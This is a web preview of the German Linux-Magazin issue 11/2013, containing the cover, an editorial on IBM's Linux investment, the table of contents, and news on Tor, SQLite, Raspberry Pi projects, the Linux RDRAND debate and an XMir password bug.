Linux-Magazin Reifeprüfung fürs Web (Vorschau)

26.02.2014 Aufrufe

11/13 DIE ZEITSCHRIFT FÜR LINUX-PROFESSIONALS Linux-Wissen: Audio Video Bridging Neues Netzwerkprotokoll für Tonstudios, Veranstalter und das Heimkino S. 88 Open Nebula Hook sei Dank: Eigene Skripte einklinken in die freie Virtualisierung S. 74 SDL-Lib 2.0 Eine Bibliothek für fünf Betriebssysteme: Simple Directmedia Layer S. 94 Reifeprüfung fürs Web Vier Frameworks und CMS erhalten die gleiche Programmieraufgabe gestellt ■ PHP-Kandidat: Contao CMS S. 22 ■ Java-Kandidat: Magnolia CMS S. 28 ■ Ruby-Framework: Rails mit Angular.js S. 34 ■ Python-Framework: Django S. 39 ■ Prüfungsauswertung S. 46 ■ BSI-Studie untersucht CMS- Sicherheit S. 48 ■ Drei XML-Editoren im TEI-und Docbook-Test S. 52 ■ Volatility auf Spurensuche im RAM von Linux-Rechnern S. 68 Die Storagesoftware Git-Annex synchronisiert Daten über Geräte, Server und Clouddienste hinweg S. 58 www.linux-magazin.de Deutschland Österreich Schweiz Benelux Spanien Italien 4 6,40 4 7,05 sfr 12,80 4 7,50 4 8,30 4 8,30 4 192587 306401 11

11/13<br />

DIE ZEITSCHRIFT FÜR LINUX-PROFESSIONALS<br />

<strong>Linux</strong>-Wissen:<br />

Audio Video Bridging<br />

Neues Netzwerkprotokoll für Tonstudios,<br />

Veranstalter und das Heimkino S. 88<br />

Open Nebula<br />

Hook sei Dank: Eigene<br />

Skripte einklinken in die<br />

freie Virtualisierung S. 74<br />

SDL-Lib 2.0<br />

Eine Bibliothek für fünf<br />

Betriebssysteme: Simple<br />

Directmedia Layer S. 94<br />

<strong>Reifeprüfung</strong> <strong>fürs</strong> <strong>Web</strong><br />

Vier Frameworks und CMS erhalten die<br />

gleiche Programmieraufgabe gestellt<br />

■ PHP-Kandidat: Contao CMS S. 22<br />

■ Java-Kandidat: Magnolia CMS S. 28<br />

■ Ruby-Framework: Rails mit Angular.js S. 34<br />

■ Python-Framework: Django S. 39<br />

■ Prüfungsauswertung S. 46<br />

■ BSI-Studie untersucht CMS-<br />

Sicherheit S. 48<br />

■ Drei XML-Editoren im TEI-und Docbook-Test S. 52<br />

■ Volatility auf Spurensuche im RAM von <strong>Linux</strong>-Rechnern S. 68<br />

Die Storagesoftware Git-Annex synchronisiert Daten über Geräte, Server und Clouddienste hinweg S. 58<br />

www.linux-magazin.de<br />

Deutschland Österreich Schweiz Benelux Spanien Italien<br />

4 6,40 4 7,05 sfr 12,80 4 7,50 4 8,30 4 8,30<br />

4 192587 306401 11


1 000 000 000<br />

Login 11/2013<br />

Editorial<br />

Mindestens für <strong>Linux</strong>er bildet „Eine Milliarde US-Dollar“ die Zahl des Tages.<br />

Zugleich ist das, zumindest für Leute, die weder Apple noch Microsoft mitgegründet<br />

haben, unfassbar viel Geld. Würde beispielsweise ein Bauer diesen<br />

Betrag in 100-Dollar-Noten abheben, könnte er ziemlich genau zehn Hektar<br />

Acker damit nahtlos auslegen. Als antikapitalistische Kunstinstallation wäre<br />

das sicher hübsch anzusehen, aber schon der erste Herbstwind würde den<br />

fragilen Charakter der Sache deutlich machen.<br />

www.linux-magazin.de<br />

3<br />

Der Bauer könnte das Geld aber auch ausgeben. Dass dem Leitartikel-Schreiber<br />

dabei 100 Millionen Delug-Ausgaben vom <strong>Linux</strong>-<strong>Magazin</strong> einfallen, sei ihm<br />

bitte verziehen. Alternativ käme Linus Torvalds einige wenige Tausend Jahre<br />

über die Runden, was dem <strong>Linux</strong>-Kernel im gleichen Maße zuträglich wäre wie<br />

der Laune mancher Kernel-Mailinglisten-Diskutanten abträglich.<br />

Jan Kleinert, Chefredakteur<br />

Oder aber, man gibt den Betrag nicht sofort aus und benutzt die Zahl nur für<br />

Vergleiche. Rund eine Milliarde Dollar ist der Jahresumsatz von Red Hat oder ein Hundertstel des Umsatzes<br />

von IBM. Umgerechnet eine Milliarde Dollar nimmt der deutsche Fiskus jährlich durch die Biersteuer ein, was<br />

im zeitlichen und örtlichen Umfeld des Münchner Oktoberfestes einigermaßen Sinn ergibt.<br />

Um ganz nüchtern auf den Grund der Greenback-Akrobatik hier zu kommen: IBM kündigte gerade auf der<br />

<strong>Linux</strong>con 2013 in New Orleans an, eine Milliarde US-Dollar für neue <strong>Linux</strong>- und Open-Source-Technologien<br />

für Power-Systems-Server auszugeben. Konkret will der Konzern ein neues Kundenzentrum im französischen<br />

Montpellier investieren und eine <strong>Linux</strong>-Power-Entwicklungsumgebung in der Cloud entwickeln, um<br />

der „schnell wachsenden Entwicklergemeinde mit mehreren Tausend ISVs und Open-Source-Projekten<br />

Rechnung zu tragen“.<br />

Das neue Kundenzentrum und auch die geplante Entwicklungsumgebung sollen es Software-Entwicklern<br />

erleichtern, offene <strong>Linux</strong>-Anwendungen für Big Data, Cloud, Mobile und Social Business auf Power-7-Prozessoren<br />

zu schreiben und bereitzustellen. Die Gelder fließen sowohl in Forschung, Design und Entwicklung<br />

als auch für Schulungen, Veranstaltungen und in Markteinführungs- und Förderprogramme für Kunden,<br />

Geschäfts- und Hochschulpartner.<br />

Seltsamerweise erzeugte IBMs Ankündigung nur wenig Echo in den Medien – vielleicht, weil es schon das<br />

zweite seiner Art ist. Ende 2000 hatte der Konzern begonnen, die gleiche Summe für <strong>Linux</strong>-nahe Entwicklungen<br />

zu investieren, und gründete zu diesem Zweck sogar eine interne Kompanie. IBM-Entwickler steuern<br />

seither Code für diverse Open-Source-Projekte bei, besonders am Herzen liegen der Firma Open Power, Open<br />

Stack, Hadoop, Open Daylight, KVM, Apache und Eclipse.<br />

Das explizite Pushen der Power-7-Plattform jetzt ist sicher eine streng strategische Entscheidung, um diese<br />

Maschinen softwaretechnisch attraktiver zu machen. Ob eine Milliarde US-Dollar dafür angemessen sind,<br />

ist schwer zu sagen. Um es mal wieder zu vergleichen: Der »arch/powerpc«-Quellcode-Zweig des aktuellen<br />

Kernels 3.11.1 ist mit Mann und Maus rund 11,5 MByte groß. Wenn Big Blue nur ihn bedächte, stünden künftig<br />

für die Weiterentwicklung jedes Quellcode-Bits zehn Dollar bereit. Dafür lässt sich mancherorts ein Bit-Bier<br />

bestellen, was wiederum den Fiskus freut.


Inhalt<br />

www.linux-magazin.de 11/2013 11/2013<br />

4<br />

Die <strong>Reifeprüfung</strong> <strong>fürs</strong> <strong>Web</strong>: Das <strong>Linux</strong>-<strong>Magazin</strong> lässt vier freie Content Management Systeme<br />

und <strong>Web</strong>frameworks antreten. Programmierprofis der Projekte zeigen, wie sie einen Veranstaltungskalender<br />

auf Grundlage externer Daten umsetzen. Das Herangehen und der Aufwand<br />

fallen sehr unterschiedlich aus, ein Projekt hielt die Aufgabe anfangs für nicht lösbar.<br />

Aktuell<br />

Titelthema: Erweiterungsfähigkeiten von Frameworks und CMS<br />

6 N ew s<br />

n Tor kämpft mit Botnet-Ansturm<br />

n Wetterstation für Raspberry Pi<br />

n Linus: Kein NSA-Code im Kernel!<br />

21 Einführung<br />

Titel<br />

Statt langer Feature-Listen: ein praktisches<br />

Beispiel.<br />

22 Contao<br />

Nur für den Experten einfach: Contao-<br />

Module schnell und sicher entwickeln.<br />

39 Django<br />

Zwar ist die Aufgabe für das das Python-<br />

CMS-Framework Django nicht wirklich<br />

maß geschneidert, aber machbar.<br />

Das <strong>Web</strong>-basierte ERP-System Open Z kann<br />

jetzt mit MES-Funktionen aufwarten.<br />

28 Magnolia<br />

Das Java-CMS bringt Entwickler rasch<br />

ans Ziel.<br />

Die vom Autor genutzte IDE heißt Pycharm, im<br />

Bild zu sehen ist die Datei »views.py«.<br />

12 Zahlen & Trends<br />

n Libre Office 4.2 verbessert OOXML<br />

n Neuseeland schafft Softwarepatente ab<br />

46 Wertung<br />

Viele Wege führen zur fertigen <strong>Web</strong>site,<br />

doch mit unterschiedlichem Aufwand.<br />

Ein blühender Magnolia-Baum im Eigenbau.<br />

34 Ruby on Rails<br />

Das Framework im Verbund mit Angular.js.<br />

48 Das Interview<br />

Eine BSI-Studie zur CMS-Sicherheit vergleicht<br />

Open-Source-Systeme..<br />

VMware-CEO Pat Gelsinger feiert sich und<br />

seine Firma und glaubt an eine rosige Zukunft.<br />

18 Zacks Kernel-News<br />

n Wann ist ein Patch reif für den Kernel?<br />

n Mehr Ordnung im Device Tree<br />

20 Wikimedia OER Berlin<br />

Die Konferenz um freies Wissen.<br />

Erstmals trafen sich deutsche OER-Akteure.<br />

Karma prüft Javascript in mehreren Browsern.<br />

DELUG-DVD<br />

Privacy Remix<br />

TOOL<br />

Bootet von DVD: Paranoides<br />

Ubuntu-12.04-Derivat für die Zeit<br />

nach Ed Snowden<br />

Virtual Appliance<br />

TOOL<br />

TOOL<br />

TOOL<br />

Fertiges Django-Framework mit<br />

objekt relationalen Mapper für<br />

MySQL, Oracle, PostgreSQL, SQlite<br />

TOOL<br />

Christian Breitenstrom, Autor der CMS-Studie.<br />

Details zu DVD-<br />

TOOL<br />

Inhalten auf S. 51<br />

E-Book komplett<br />

Christian Ullenboom:<br />

„Java 7 – Mehr als eine Insel“<br />

Debconf 2013<br />

Videos: Prominente Debian-Freunde<br />

beim Entwicklertreffen<br />

Software-Suite<br />

Passend zu den Artikeln im Heft


11/2013 11/2013<br />

Inhalt<br />

64 Erlösende Einsamkeit<br />

Manche kritischen Daten sollten Admins<br />

nur auf Inselsystemen ohne Netzwerk<br />

vorhalten. Für solche Hochsicherheitszonen<br />

taugt das Ubuntu Privacy Remix.<br />

74 Action am Haken<br />

Shellprogramme per Mausklick in die<br />

Cloud-Verwaltung integrieren? Kein<br />

Problem, wenn Open-Nebula-Hooks<br />

zum Einsatz kommen.<br />

84 Auferstanden<br />

Kompatibel zur ICANN, aber vollständig<br />

unabhängig und nur der Community<br />

unterstellt will die eigentlich schon<br />

beerdigte DNS-Alternative sein.<br />

www.linux-magazin.de<br />

5<br />

Software<br />

Sysadmin<br />

Know-how<br />

51<br />

Einführung<br />

Auf der DELUG-DVD: Totale Privatspäre<br />

mit dem Ubuntu Privacy Remix, Debconf-<br />

Videos und ein Java-E-Book.<br />

52 Bitparade<br />

Titel<br />

Strukturiertes Arbeiten: Drei XML-<br />

Editoren treten gegeneinander an.<br />

67 Einführung<br />

Aus dem Alltag eines Sysadmin: Charly<br />

und sein Indianer, dazu Salat oder Steak<br />

und der Varnish-Proxy als Lösung.<br />

68 Volatility 2.3<br />

Titel<br />

Der Memory-Dump-Analyzer Volatility<br />

inspiziert jetzt auch <strong>Linux</strong>-Systeme.<br />

84 Open Root Server Network<br />

Auch ohne die USA: Das ORSN will ein<br />

Gegengewicht zur ICANN schaffen.<br />

88 <strong>Linux</strong>-AVB<br />

Titel<br />

Als Multimedia-Brücke überträgt Audio<br />

Video Bridging Multimediadaten in<br />

Echtzeit an andere Rechner.<br />

58 Git-Annex<br />

Titel<br />

Programmiert in Haskell, nutzt Git-Annex<br />

Tools wie Inotify und ein <strong>Web</strong>interface,<br />

um verteilte Dateien zu synchronisieren.<br />

Das Volatility-Tool Yarascan hat eine gespawnte<br />

Shell gefunden, in der Netcat läuft.<br />

74 Open-Nebula-Skripting<br />

Titel<br />

Virtuelle Maschinen am rechten Haken:<br />

Open Nebula mit Hooks erweitern.<br />

Wireshark findet im Netzwerkverkehr die<br />

Nachrichten des AVB-Protokolls MRP.<br />

92 Insecurity Bulletin<br />

Fehlerhaft generierte Zufallszahlen in<br />

Android sorgen für Unsicherheit.<br />

Der Assistant merkt, wenn neue Dateien da<br />

sind und startet die Synchronisation.<br />

60 Tooltipps<br />

Im Kurztest: Macchanger 1.6.0, Codesh<br />

2.0.1, Enc 0.2, Arp Scan 1.9, Cyberprobe<br />

0.20 und, Palaver (August 2013).<br />

Forum<br />

78 OSS in Europa<br />

Europas Behörden vertrauen auf Open<br />

Source. Deutschland scheint abgehängt.<br />

Programmieren<br />

94 SDL 2.0<br />

Titel<br />

Für gleich fünf Systeme passend präsentiert<br />

sich das Simple Directmedia Layer.<br />

64 Ubuntu Privacy Remix<br />

Ein radikales OS für Sicherheitsbewusste.<br />

Service<br />

3 Editorial<br />

106 IT-Profimarkt<br />

108 Stellen<br />

112 Veranstaltungen<br />

112 Inserenten<br />

113 Impressum<br />

114 <strong>Vorschau</strong><br />

Jedes Jahr 10 000 Rechner migriert die französischen<br />

Gendarmerie zu Gendubuntu.<br />

82 Bücher<br />

Bücher über Shellprogrammierung<br />

sowie über C++.<br />

Auf SDL basieren fast alle über Steam angebotenen<br />

Spiele, auch Blockbuster wie Portal.<br />

100 Perl-Snapshot<br />

Nicht nur für die Katz: Maschinell mit<br />

Perl-Skripten erzeugte Memes.


Aktuell<br />

www.linux-magazin.de News 11/2013<br />

6<br />

News<br />

Tor kämpft mit Botnet-Ansturm<br />

Um den 20. August herum verzeichnete<br />

das Tor-Netzwerk eine<br />

außergewöhnliche Zunahme<br />

an neuen Nutzern, ihre<br />

Zahl stieg von 500 000 auf 3,5<br />

Millionen (Stand: 12.9.2013).<br />

Doch nicht die internationalen<br />

Geheimdienste treiben<br />

Tor neue User zu, vielmehr<br />

scheint ein riesiges Botnetz<br />

Schuld zu sein, das legt Roger<br />

Dingledine in einem Blogbeitrag<br />

[https://​blog.​torproject.​org/​<br />

​blog/] nahe.<br />

Er könne nur über die Ursachen<br />

spekulieren, da das<br />

Tor-Projekt keine Logs behalte.<br />

Neue Aktivisten oder den<br />

Tor-Browser von The Pirate<br />

Bay schließe er als Quelle für<br />

die Invasion aber aus. Er gehe<br />

von einem Botnetz aus, das<br />

seinen Kontrollserver als Hidden<br />

Service betreibe.<br />

Es sei auffällig, dass der von<br />

den neuen Usern generierte<br />

Traffic keine externen <strong>Web</strong>seiten<br />

betreffe. Während Relays<br />

einen starken Anstieg von<br />

»ESTABLISH_RENDEZVOUS«-<br />

Request verzeichnen, würden<br />

die Exit-Nodes keine signifikanten<br />

Zusatz-Traffic zeigen.<br />

Dingledine ist zufrieden, dass<br />

das Tor-Netzwerk auch unter<br />

Druck noch funktioniere, Probleme<br />

würden aber die vielen<br />

vom Botnetz aufgebauten<br />

Routen (Circuits) bereiten.<br />

Um sie zu etablieren, nehmen<br />

die Relay-Server umfangreiche<br />

Public-Key-Operationen<br />

vor, was die CPU-Load auf die<br />

Spitze treibe.<br />

Das vermeintliche Botnet<br />

nutzt die stabilen Tor-Clients<br />

in der Version 0.2.3.x. Dingledine<br />

empfiehlt neuen Nutzern<br />

den Umstieg auf Version<br />

0.2.4, die beim Aufbau der<br />

Circuits den smarten N-Tor-<br />

Handshake verwendet anstelle<br />

des älteren Tap. Die neueste<br />

Entwicklerversion 0.2.4.17-rc<br />

priorisiere N-Tor sogar, weshalb<br />

sich ihre Nutzer in der<br />

Warteschlange vordrängeln<br />

dürfen, Pakete dieser Version<br />

gibt es bereits.<br />

Mittlerweile ist die Zahl der Tor-Clients bei 3,5 Millionen angekommen.<br />

Wechselt auch das Botnet zu<br />

den neuen Clients, wäre das<br />

Tor-Netzwerk dennoch besser<br />

dran, weil es besser skaliere.<br />

Den Botnet-Entwicklern<br />

empfahl er, für ihre Millionen<br />

von Clients nicht die 4000<br />

Tor-Knoten, sondern lieber<br />

ein eigenes P2P-Anonymisierungssystem<br />

zu verwenden.<br />

Bösartig scheine das Botnet<br />

aber bisher nicht zu sein, gibt<br />

er zu. Wollte es das Netzwerk<br />

„ruinieren“, würde es mit<br />

den Bots einfach viel Traffic<br />

erzeugen.<br />

Langfristig müsse man aber<br />

nach weiteren Lösungen für<br />

solche Situationen suchen.<br />

Wenn nötig werde man auch<br />

alle 0.2.3-Clients aus dem<br />

Netzwerk verbannen. Dingledine<br />

rief zugleich Security-<br />

Forscher dazu auf, die Eigenschaften<br />

des Botnetzes zu<br />

ergründen, um es nach Möglichkeit<br />

abzuschalten.<br />

Die Security-Firma Fox IT geht<br />

davon aus, dass das Botnet<br />

erst in jüngster Zeit unter dem<br />

Namen „Mevade.A“ auftrete,<br />

aber bereits seit 2009 existiere<br />

und früher „Sefnit“ hieß.<br />

Es habe seinen Kontrollserver<br />

erst kürzlich in das Tor-Netzwerk<br />

verlegt, was mit dem<br />

Anstieg von Clients korreliere.<br />

Laut Fox IT stamme es aus<br />

einer russischsprachigen Region<br />

und sei profitorientiert.<br />

Tor-Projektmitarbeiter haben<br />

diese Annahme bisher nicht<br />

offiziell bestätigt.<br />

n<br />

Typo-3-Camp Regensburg im Oktober<br />

Vom 25. bis 27. Oktober 2013<br />

findet das zweite Typo-3-<br />

Camp Regensburg [http://​www.​<br />

​typo3camp‐regensburg.​de] statt.<br />

Unter dem Motto „Inspiring<br />

People to Share“ trifft sich<br />

die deutschsprachige Typo-3-<br />

Community zum Informationsaustausch.<br />

Die Veranstaltung findet als<br />

Barcamp statt, bei dem die<br />

Teilnehmer mit Hilfe der <strong>Web</strong>site<br />

selbstständig Sitzungen<br />

zu den gewünschten Themen<br />

organisieren. Die Typo 3 Usergroup<br />

Regensburg e.V. und ihre<br />

Mitveranstalter rechnen mit<br />

mehr als 100 Teilnehmern.<br />

Ein reguläres Ticket für das<br />

Camp kostet 49 Euro, ein Unterstützerticket<br />

79 Euro. In<br />

beiden Fällen kommt noch eine<br />

Vorverkaufsgebühr für den<br />

Ticketdienst hinzu. n


SQlite 3.8.0 optimiert Performance<br />

SQlite 3.8.0 [https://​sqlite.​org]<br />

ist erschienen und bringt einige<br />

Neuerungen mit, die die<br />

Arbeit mit der Datenbank optimieren.<br />

So erlauben es partielle<br />

Indexe, nur bestimmte<br />

Teile einer Tabelle zu indexieren,<br />

und beschleunigen so in<br />

großen Tabellen den Zugriff<br />

auf bestimmte Daten. Dabei<br />

wird an das Statement »CREA-<br />

TE INDEX« ein »WHERE«-Teil<br />

gehängt, der die zu indizierende<br />

Untergruppe bestimmt.<br />

Der Next Generation Query<br />

Planner (NGQP) soll besonders<br />

beim Zugriff auf große<br />

Datenmengen aus vielen Möglichkeiten<br />

den effektivsten<br />

Algorithmus ermitteln. Das<br />

erweist sich bisweilen als Wissenschaft<br />

für sich [https://​sqlite.​<br />

​org/​queryplanner‐ng.​html].<br />

Der neue Planner soll besser<br />

und schneller arbeiten und<br />

zum Beispiel das Problem des<br />

8-Wege-Join von TPC-H Q8<br />

deutlich eleganter lösen als<br />

bisher, nämlich über die N3-<br />

Heuristic (N Nearest Neighbors).<br />

Bei TPC-H handelt es<br />

sich um den Benchmark des<br />

Transaction Processing Performance<br />

Council, eines Non-<br />

Profit-Konsortiums.<br />

Spezielle Tabellen mit integrierter<br />

Volltextindexierung<br />

erlauben es, Text wesentlich<br />

schneller zu durchforsten, als<br />

wenn der Datenbanker ihn<br />

wie bisher einfach in klassischen<br />

Tabellen ablegt.<br />

Das virtuelle Tabellenmodul<br />

FTS 4 (für Full-text Search)<br />

erlaubt es nun, für Tabellen<br />

bestimmte Spalten zu definieren,<br />

welche die Volltextsuche<br />

nicht indexieren soll, was<br />

den Prozess beschleunigt.<br />

Der Quelltext findet sich im<br />

Downloadbereich [https://​<br />

​sqlite.​org/​download.​html]. n<br />

News 11/2013<br />

Aktuell<br />

www.linux-magazin.de<br />

7<br />

Air Pi: Wetterstation für den Raspberry Pi<br />

Für umgerechnet rund 79 Euro<br />

inklusive Versandkosten verkaufen<br />

britische Schüler einen<br />

Bausatz, der sich in eine Wetterstation<br />

für den Raspberry Pi<br />

verwandeln lässt. In dem Air<br />

Pi [http://​airpi.​es] genannten<br />

Projekt haben Alyssa Dayan<br />

und Tom Hartley, zwei Schüler<br />

der Westminster School in<br />

London, eine eigene Wetterstation<br />

für den Raspberry Pi<br />

entwickelt. Damit nahmen sie<br />

an einem Erfinderwettbewerb<br />

namens „PA Consulting Raspberry<br />

Pi Competition“ teil und<br />

gewannen.<br />

Der Bausatz für die Wetterstation<br />

lässt sich nun online bestellen<br />

und nach Deutschland<br />

liefern, wo man ihn dann mit<br />

Hilfe einer Anleitung zusammenlöten<br />

kann. Ein Raspberry<br />

Pi ist im Preis nicht enthalten,<br />

es handelt sich um eine separate<br />

Zusatzplatine.<br />

Quelle: http://airpi.es<br />

Beim Air Pi handelt es sich um den Bausatz für eine Wetterstation, die sich als<br />

Zusatzmodul an einen Raspberry Pi hängen lässt.<br />

Der Air Pi zeichnet Wetterdaten<br />

auf und streamt sie ins<br />

Internet. Zu den gesammelten<br />

Daten gehören neben der Temperatur<br />

die Luftfeuchtigkeit,<br />

der Luftdruck, der UV-, Kohlenstoffmonoxid-,<br />

Stickstoffdioxid-<br />

und Helligkeits-Level.<br />

Der Air Pi lässt sich nicht nur<br />

als Wetterstation verwenden,<br />

sondern auch im Haus einsetzen,<br />

um die Feuchtigkeit zu<br />

messen oder nachzuschauen,<br />

ob die Kids das Licht ausgeschaltet<br />

haben.<br />

Der zugehörige Code und<br />

die Schaltpläne stehen schon<br />

auf Github [http://​github.​com/​<br />

​tomhartley/​AirPi] bereit. Lediglich<br />

ein GPS-Modul fehlt,<br />

weil das Kit sonst zu teuer<br />

geworden wäre. Ab Oktober<br />

will man die Bausätze ausliefern,<br />

die über Tindie, eine<br />

Plattform für Hardwarebastler,<br />

vertrieben werden. n<br />

Neues Open-Suse-Image für Raspberry Pi<br />

Der Suse-Entwickler Bernhard<br />

Wiedemann hat ein neues <strong>Linux</strong>-Image<br />

für den Minicomputer<br />

Raspberry Pi auf Basis<br />

von Open Suse veröffentlicht.<br />

Das komprimierte Image für<br />

Armv6, das als XZ-Archiv vorliegt,<br />

ist nur rund 82 MByte<br />

groß. Dennoch enthält es unter<br />

»/home/abuild/rpmbuild/<br />

SOURCES/« die Shellskripte,<br />

mit denen der Anwender ein<br />

eigenes, maßgeschneidertes<br />

Image bauen kann. Diese<br />

Skripte sind außerdem gesondert<br />

erhältlich.<br />

Das ARM-Image bringt nun<br />

auch den recht aktuellen<br />

Kernel 3.6 sowie den Windowmanager<br />

Icewm mit. Es<br />

lässt sich auch recht einfach<br />

in der Größe anpassen. Ein<br />

neues Image lässt sich laut<br />

Wiedemann in etwa 3 Minuten<br />

erzeugen. Zudem stehen<br />

auf dem Open Build Service<br />

rund 5200 Softwarepakete für<br />

ARM zur Installation bereit.<br />

Blogeinträge von Bernhard<br />

Wiedemann und Jos Poortvliet<br />

enthalten Hinweise zum Bauen<br />

eines eigenen Image. n


Aktuell<br />

www.linux-magazin.de News 11/2013<br />

8<br />

Ubuntu-Edge-Kampagne verfehlt Ziel<br />

Mit den zugesagten 12,8 Millionen<br />

US-Dollar erreichte die<br />

Crowdfunding-Kampagne für<br />

das Ubuntu Edge nur ein gutes<br />

Drittel der anvisierten Gesamtsumme<br />

von 32 Millionen<br />

US-Dollar. Doch stellte Canonical<br />

zumindest zwei Rekorde<br />

für Crowdfunding-Plattformen<br />

auf: Neben der höchsten jemals<br />

angestrebten Summe<br />

setzte auch der zugesagte Betrag<br />

eine Rekordmarke.<br />

Dennoch: Findet sich kein<br />

Hardwarehersteller, der das<br />

Edge auf eigenes Risiko finanziert,<br />

ist das Projekt wohl gestorben.<br />

Canonical setzt nun<br />

voll auf das Ubuntu Phone,<br />

hat dafür aber noch keinen<br />

Hersteller angekündigt. Fortgeschrittene<br />

Nutzer können<br />

Ubuntu Touch, das Betriebssystem<br />

für Smartphones, jedoch<br />

selbst auf vielen aktuellen<br />

Geräten installieren. n<br />

Rekordverdächtig, aber Ziel verfehlt: Die Crowdfunding-Kampagne für das<br />

Ubuntu Edge auf Indiegogo erreichte nicht die anvisierten 32 Millionen Dollar.<br />

NSA-Code im Kernel? Linus sagt: Nope!<br />

Auch Linus Torvalds spürt<br />

mittlerweile die Auswirkungen<br />

der NSA-Affäre. Weil<br />

die Dokumente von Edward<br />

Snowden nahelegen, dass die<br />

NSA gezielt Bugs in Verschlüsselungs-Software<br />

und ‐Hardware<br />

einbaute, sehen einige<br />

User und Kryptographie-Experten<br />

nun etwas kritischer<br />

auf Algorithmen zur Erzeugung<br />

von Zufall (RNG, Random<br />

Number Generators), etwa<br />

auf der Cryptography-Mailingliste.<br />

So auch Kyle Condon<br />

aus Großbritannien, der bei<br />

Change.org eine Petition einreichte,<br />

um die Unterstützung<br />

von Rdrand aus dem Kernel<br />

entfernen zu lassen.<br />

Bei Rdrand handelt es sich<br />

um eine Instruktion für Ivy-<br />

Bridge-Prozessoren, die einen<br />

Hardware-generierten<br />

Zufallswert zurückliefert. Der<br />

Zufallsgenerator ist laut Intel<br />

konform mit den Standards<br />

NIST SP800-90, FIPS 140-2<br />

und ANSI X9.82. Der Vorwurf<br />

lautet, dass Intel absichtlich<br />

oder unabsichtlich die NSA<br />

mit ins Boot geholt habe, weil<br />

NIST SP800-90 vermutlich eine<br />

Backdoor enthalte.<br />

Dual_EC_DRBG, einer der<br />

vier Algorithmen, die NIST<br />

SP800-90 beschreibt, basiert<br />

demnach auf Elliptic Curve<br />

Cryptography und sei dreimal<br />

langsamer als die anderen<br />

Ansätze. 2007 hatte Kryptoexperte<br />

Bruce Schneier bei<br />

der Crypto-Konferenz auf die<br />

Arbeit von Dan Shumow und<br />

Niels Ferguson hingewiesen,<br />

die zeigten, dass der Algorithmus<br />

Schwächen aufweise, die<br />

sie durchaus als Backdoors<br />

bezeichnen würden.<br />

Linus antwortete indes gewohnt<br />

charmant auf die Vorwürfe:<br />

„Wo starte ich eine<br />

Petition, um den IQ und das<br />

Kernel-Wissen der Leute zu<br />

steigern?“ Rdrand sei eben<br />

nur eine Quelle im Kernel für<br />

die Zufallserzeugung. Selbst<br />

wenn die Nummern nicht<br />

ganz zufällig seien, weil die<br />

NSA mitwirke, führe die Einbindung<br />

von Rdrand zu einer<br />

höheren Entropie. „Leute,<br />

schaut euch »drivers/char/<br />

random.c« an. Lernt mehr<br />

über Kryptographie. Schließlich:<br />

Kommt hierher zurück<br />

und gebt vor aller Welt zu,<br />

dass ihr Unrecht hattet.“ n<br />

XMir-Bug verrät Passwörter<br />

Der Entwickler Matthew Garrett<br />

warnt vor einer Sicherheitslücke<br />

in XMir, einer<br />

Komponente von Ubuntus<br />

Dis playserver Mir. Den möchte<br />

Canonical in der kommenden<br />

Ubuntu-Version 13.10<br />

als Standard-Displayserver<br />

einsetzen. Damit die Mehrheit<br />

der GUI-Anwendungen,<br />

die als X-Clients programmiert<br />

sind, noch funktioniert,<br />

kommt XMir als Adapter zum<br />

Zuge. Es verwendet X-Input-<br />

Treiber, um Eingaben direkt<br />

zu empfangen.<br />

Das sorgt für den kritisierten<br />

Bug: Schaltet der Anwender<br />

auf eine virtuelle Konsole um,<br />

etwa mit [Strg]+[Alt]+[F1],<br />

um sich dort einzuloggen, und<br />

kehrt wieder zum Mir-Display<br />

zurück, werden in XMir Username<br />

und Passwort sichtbar.<br />

Eine so genannte Information<br />

Disclosure, die vertrauliche<br />

Daten an jene verrät, die das<br />

Display sehen können.<br />

Laut Matthew Garrett [http://​<br />

​mjg59.​dreamwidth.​org/​27327.​html]<br />

ist der Bug schon seit dem<br />

20. Juni bekannt. Er kritisiert,<br />

das Paket sei samt Fehler in<br />

die Saucy-Repositories umgezogen.<br />

Die Warnung stehe in<br />

der zugehörigen Mitteilung<br />

nur unter ferner liefen.<br />

Ubuntu 13.10 befindet sich<br />

noch im Entwicklungsstadium<br />

und ist vom Hersteller nicht<br />

für den Produktiveinsatz empfohlen.<br />

Somit sind von diesem<br />

Bug bislang nur Entwickler<br />

und Tester betroffen. n


Debconf 13: Videos der Vorträge und Sitzungen online<br />

Nach der Debian-Entwicklerkonferenz<br />

[http://​debconf13.​<br />

​debconf.​org] in der Schweiz stehen<br />

die Vorträge nun online<br />

als Videos zur Verfügung. Das<br />

Videoteam der freien <strong>Linux</strong>-<br />

Distribution bietet die Aufzeichnungen<br />

in unterschiedlichen<br />

Auflösungen als Dateien<br />

zum Herunterladen an. Wer<br />

sich die Vortragsvideos lieber<br />

online ansehen möchte,<br />

besucht die Seiten der französischen<br />

Open-Source-Einrichtung<br />

IRILL [http://​www.​irill.​<br />

​org]. Dort lassen sie sich als<br />

HTML-5-Videos in modernen<br />

Browsern abspielen.<br />

Unter anderem hält das Video-Archiv<br />

Vorträge über die<br />

Init-Systeme Systemd und Upstart<br />

parat, die Keynote des<br />

Debian-Projektleiters Lucas<br />

Nussbaum sowie Referate<br />

über den Kernel, das Compiler-Frontend<br />

Clang und UEFI<br />

Secure Boot. In den Birds-ofa-Feather-Sitzungen<br />

trafen<br />

sich Gleichgesinnte, um über<br />

Ruby, Debian-Derivate, Ikiwiki<br />

oder ARM zu diskutieren.<br />

Weitere Highlights sind die<br />

amüsante Debian-Kosmologie<br />

von Joey Hess und der Maria-<br />

DB-Vortrag des MySQL-Vaters<br />

Michael Widenius. n<br />

News 11/2013<br />

Aktuell<br />

www.linux-magazin.de<br />

9<br />

Open Z: Open-Source-ERP mit MES-Funktionen<br />

Das Unternehmen Open Z<br />

[http://​openz.​de] aus Worpswede<br />

hat sein gleichnamiges<br />

ERP-System in Version 2.6.76<br />

veröffentlicht. Mit dieser Release,<br />

schreibt der Hersteller,<br />

biete die Open-Source-Software<br />

umfassende Funktionen<br />

eines Manufacturing Excecution<br />

System (MES). Umgesetzt<br />

seien Produktionssimulation,<br />

Produktionslauf, Beschaffung,<br />

Lagerführung und Ressourcenplanung.<br />

Ein grafischer<br />

Einsatzplan sorge für Übersicht,<br />

eine dynamische Umplanung<br />

sei möglich. Daneben<br />

erlaubt Open Z das Einscannen<br />

von Barcodes, QR-Codes<br />

und RFID-Tags zur Betriebsdatenerfassung.<br />

Das <strong>Web</strong>-basierte ERP-System<br />

entstand als Fork von Open<br />

Bravo und ist in Java 7 mit<br />

Tomcat 7 und PostgreSQL 9.1<br />

umgesetzt. Die verwendeten<br />

Komponenten stehen unter<br />

verschiedenen Open-Source-<br />

